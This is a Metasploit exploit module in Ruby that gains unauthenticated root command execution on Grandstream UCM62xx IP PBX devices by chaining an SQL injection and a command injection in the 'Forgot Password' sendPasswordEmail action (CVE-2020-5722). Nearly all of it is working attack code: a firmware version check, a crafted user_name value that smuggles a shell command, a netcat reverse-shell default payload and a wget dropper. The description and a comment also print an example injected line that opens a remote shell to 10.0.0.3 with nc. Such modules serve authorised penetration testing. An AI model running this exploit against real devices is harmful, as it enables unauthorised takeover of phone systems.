##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE',
        'Description' => %q{
          This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and
          a command injection vulnerability (technically, no assigned CVE but was inadvertently
          patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX
          series of devices. The vulnerabilities allow an unauthenticated remote attacker to
          execute commands as root.

          Exploitation happens in two stages:

          1. An SQL injection during username lookup while executing the "Forgot Password" function.
          2. A command injection that occurs after the user provided username is passed to a Python script
          via the shell. Like so:

          /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
          password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `

          This module affect UCM62xx versions before firmware version 1.0.19.20.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2020-5722' ],
          [ 'EDB', '48247']
        ],
        'DisclosureDate' => '2020-03-23',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_ARMLE],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => {
                'DisableNops' => true,
                'BadChars' => '\'&|'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_ARMLE],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'wget' ]
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 8089,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  ##
  # Sends a POST /cgi request with a payload of action=getInfo. The
  # server should respond with a large json blob like the following,
  # where "prog_version" is he firmware version:
  #
  # {"response"=>{
  #   "model_name"=>"UCM6202", "description"=>"IPPBX Appliance",
  #   "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/",
  #   "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.",
  #    "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1",
  #    "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US",
  #    "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0",
  #    "support_webrtc_cloud"=>"0"}, "status"=>0}
  ###
  def check
    normalized_uri = normalize_uri(target_uri.path, '/cgi')
    vprint_status("Requesting version information from #{normalized_uri}")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalized_uri,
      'vars_post' => { 'action' => 'getInfo' }
    })

    return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200

    body_json = res.get_json_document
    return CheckCode::Unknown('No JSON in response') unless body_json

    prog_version = body_json.dig('response', 'prog_version')
    return false if prog_version.nil?

    vprint_status("The reported version is: #{prog_version}")

    version = Rex::Version.new(prog_version)
    if version < Rex::Version.new('1.0.19.20')
      return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
    end

    return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")
  end

  ##
  # Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection
  # and then it will get passed to a python script via sh which allows us to execute a command injection.
  # It will look something like this:
  #
  # /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
  #     password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
  #
  # This functionality is related to the"Forgot Password" feature. This function is rate limited by
  # the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few
  # payloads are appropriate.
  ###
  def execute_command(cmd, _opts = {})
    rand_num = Rex::Text.rand_text_numeric(1..5)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/cgi'),
      'vars_post' =>
      {
        'action' => 'sendPasswordEmail',
        'user_name' => "' or #{rand_num}=#{rand_num}--`;`#{cmd}`;`"
      }
    }, 5)

    # the netcat reverse shell payload holds the connection open. So we'll treat no response
    # as a success. The meterpreter payload does not hold the connection open so this clause digs
    # deeper to ensure it succeeded. The server will respond with a non-0 status if the payload
    # generates an error (e.g. rate limit error)
    if res
      fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200

      body_json = res.get_json_document
      fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json

      status_json = body_json['status']
      fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
      fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
    end

    print_good('Exploit successfully executed.')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end
